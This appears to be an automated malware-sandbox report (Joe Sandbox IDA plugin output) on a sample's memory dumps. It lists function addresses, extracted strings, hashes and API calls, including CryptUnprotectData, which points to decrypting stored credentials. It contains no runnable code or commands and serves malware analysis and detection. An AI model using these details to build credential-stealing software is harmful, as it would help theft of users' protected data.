Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: e20593ac416e68561a109a2def8ab97c0c4e9aa962978665feed953001793641
Instruction ID: 19cd39c0ea4eb93ebf66549e38e0cb6de83d6a277def0e7aebba877ef4d6346f
Opcode Fuzzy Hash: e20593ac416e68561a109a2def8ab97c0c4e9aa962978665feed953001793641
Instruction Fuzzy Hash: 72413075A0431DDBDB10DFA4DD89BFEB7B8BB44704F1045A8F509A6280D7B45A84CFA1

Function 00EAFFC6 Relevance: 12.9, Strings: 9, Instructions: 1639COMMON

Download Yara Rule

Strings

rf~o, xrefs: 00EB0F8E
a7-, xrefs: 00EB0796
/*~, xrefs: 00EB0BD0
X|W, xrefs: 00EB04A7
Q| , xrefs: 00EB0AC4
/RU, xrefs: 00EB0D2E
]F, xrefs: 00EB01B4
S*, xrefs: 00EB110F
/RU, xrefs: 00EB0D3C

Memory Dump Source

Source File: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /RU$/RU$Q| $X|W$a7-$rf~o$/*~$S*$]F
API String ID: 0-2912677085
Opcode ID: efa1f22d97a54864e19fee3d18579aee0564a8f1a8cc7730a1b1ccdb361934a7
Instruction ID: 9e41d511c972eb5ad25fa2b369409cdc41d02baeb540aa181c88bee6f23b0869
Opcode Fuzzy Hash: efa1f22d97a54864e19fee3d18579aee0564a8f1a8cc7730a1b1ccdb361934a7
Instruction Fuzzy Hash: 6AB218F3A0C2149FE3046E2DEC8567ABBE9EF94720F1A493DE6C4D3744E63598058687

Function 6CAF2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAF2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAF2C61

Part of subcall function 6CAA4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAA4E5A
Part of subcall function 6CAA4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAA4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAF2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAF2E2D

Part of subcall function 6CAB81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAB81DE

Strings

expected a Time entry, xrefs: 6CAF2E36
(root), xrefs: 6CAF354F
ProfileBuffer parse error: %s, xrefs: 6CAF2E3B

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 0288d22340d6274a302b72d67dce0a8f8ac7d717daf5e22650355470f5c3b7e1
Instruction ID: 3a6014ed7f4c6d8063364be882e3f05b2c9cad23b0cdfa4ad6d4c83c8bf0e1dc
Opcode Fuzzy Hash: 0288d22340d6274a302b72d67dce0a8f8ac7d717daf5e22650355470f5c3b7e1
Instruction Fuzzy Hash: 6891BF706087808FC724DF24C4946AFB7E5AF89358F544A1DF9AA8B750DB30D98ACB52

Function 6CAAD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 6CAADAF6
9, xrefs: 6CAADE7F
-, xrefs: 6CAAD7DD
1, xrefs: 6CAADBDD
0, xrefs: 6CAAD852
8, xrefs: 6CAADC08
0, xrefs: 6CAADC7F
, xrefs: 6CAADA88

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: ac6b86de928b264f9b9d184fbe686dbbd511bfafa2b09733725260593e415646
Instruction ID: 6772b20812c8f29b77d57a994a0a4ae436b172d75f292adeb7c8558a40f59580
Opcode Fuzzy Hash: ac6b86de928b264f9b9d184fbe686dbbd511bfafa2b09733725260593e415646
Instruction Fuzzy Hash: 2862AC7190C3458FD715CEA9C09075EBBF2AF8A358F184A1DE8E54BA91C335D9C6CB82

Function 00EB8634 Relevance: 9.1, Strings: 6, Instructions: 1639COMMON

Download Yara Rule

Strings

3a;, xrefs: 00EB8A44
#vO-, xrefs: 00EB8D91
Vw;, xrefs: 00EB941C
OgO, xrefs: 00EB93C8
[tg, xrefs: 00EB8CD3
!rW, xrefs: 00EB9025

Memory Dump Source

Source File: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !rW$#vO-$3a;$OgO$Vw;$[tg
API String ID: 0-106960965
Opcode ID: 6239dd684787594058ea96e155a75b2080bcf0e340b1297b86b30d5d1f4c02dc
Instruction ID: 7b1068ddf7c3fbc6220bb0148df51132051f81f7f6fa91d5ca6dd5f775556056
Opcode Fuzzy Hash: 6239dd684787594058ea96e155a75b2080bcf0e340b1297b86b30d5d1f4c02dc
Instruction Fuzzy Hash: 66B2F3F3A0C2049FE3046E29EC8567AFBE9EF94720F16493DEAC483744E67598058697

Function 00EBA144 Relevance: 9.1, Strings: 6, Instructions: 1618COMMON

Download Yara Rule

Strings

qp>, xrefs: 00EBA87B
][j_, xrefs: 00EBAA99
I"F3, xrefs: 00EBB453
{8Ko, xrefs: 00EBAED5
W({_, xrefs: 00EBB3DC
@x, xrefs: 00EBA47B

Memory Dump Source

Source File: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: I"F3$W({_$][j_$qp>${8Ko$@x
API String ID: 0-4208065211
Opcode ID: 0d34216071a1eda7b97485240ad53d7c5ca1ff81cf03aece5634d8dd95208e98
Instruction ID: 453c63c3b11fe599caf4c5b40e96e2d1485b8af2faa29cc205c18f9bf7790d98
Opcode Fuzzy Hash: 0d34216071a1eda7b97485240ad53d7c5ca1ff81cf03aece5634d8dd95208e98
Instruction Fuzzy Hash: B4B207F360C2049FE304AE2DEC8567AFBE5EF94720F1A493DEAC4C7744EA3558058696

Function 00EB3844 Relevance: 8.9, Strings: 6, Instructions: 1405COMMON

Download Yara Rule

Strings

4:~, xrefs: 00EB399E
F}O, xrefs: 00EB455F
av_k, xrefs: 00EB4540
Fd}, xrefs: 00EB43FF
2ww, xrefs: 00EB48F6
;Q{{, xrefs: 00EB45D0

Memory Dump Source

Source File: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2ww$4:~$;Q{{$Fd}$av_k$F}O
API String ID: 0-4016435335
Opcode ID: ac554e1d8e2f8af072e7c47a8d414d4cf8cd050907068ce925d5adc19d6cc94a
Instruction ID: 346800df9f9776129640d280bc6b6dc9e31c2f8aa34c4de77a7cd6f464ff5af6
Opcode Fuzzy Hash: ac554e1d8e2f8af072e7c47a8d414d4cf8cd050907068ce925d5adc19d6cc94a
Instruction Fuzzy Hash: E19216F360C2049FE304AE2DEC8567ABBE9EF94320F1A463DE6C5C7744E93598058697

Function 00EC2863 Relevance: 7.9, Strings: 5, Instructions: 1648COMMON

Download Yara Rule

Strings

poz, xrefs: 00EC2F76
TC7~, xrefs: 00EC3A46
f'2O, xrefs: 00EC2A0C
)p|, xrefs: 00EC30BD
e,Yo, xrefs: 00EC313A

Memory Dump Source

Source File: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: )p|$TC7~$e,Yo$f'2O$poz
API String ID: 0-542386837
Opcode ID: e91b8e4ab0e6f3574994cda36f0418da02fb6833e3715a0bfbbe0e23e77aaac1
Instruction ID: baaa6f36b7b07414bf37b6a41359c734d1aea6e4d6b55df8712a95e8f0288cc6
Opcode Fuzzy Hash: e91b8e4ab0e6f3574994cda36f0418da02fb6833e3715a0bfbbe0e23e77aaac1
Instruction Fuzzy Hash: D9B217F3A0C2049FD3047E2DEC8577ABBE9EF94720F1A463DEAC483744EA7558058696

Function 00EB1A89 Relevance: 7.9, Strings: 5, Instructions: 1633COMMON

Download Yara Rule

Strings

&{w, xrefs: 00EB2C03
6}, xrefs: 00EB254C
ED6o, xrefs: 00EB29F3
Nu~, xrefs: 00EB1BAF
Tngj, xrefs: 00EB1D2E

Memory Dump Source

Source File: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6}$ED6o$Tngj$&{w$Nu~
API String ID: 0-481901750
Opcode ID: a2f2e9c4d27b02eccc5a3a9503e86f4c1e0eb92871284e5fe5aef5e4ae09ddac
Instruction ID: 2628f56cee039adfff130e745327d79d89f8dd0df1f33393383d98b1e5a0f225
Opcode Fuzzy Hash: a2f2e9c4d27b02eccc5a3a9503e86f4c1e0eb92871284e5fe5aef5e4ae09ddac
Instruction Fuzzy Hash: 32B249F3A0C204AFE7086E2DEC8577ABBE9EF94720F16453DE6C5C3744EA3558018696

Function 00AF7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00AF724D
RtlAllocateHeap.NTDLL(00000000), ref: 00AF7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00AF7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00AF72A4
LocalFree.KERNEL32(?), ref: 00AF72AE

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
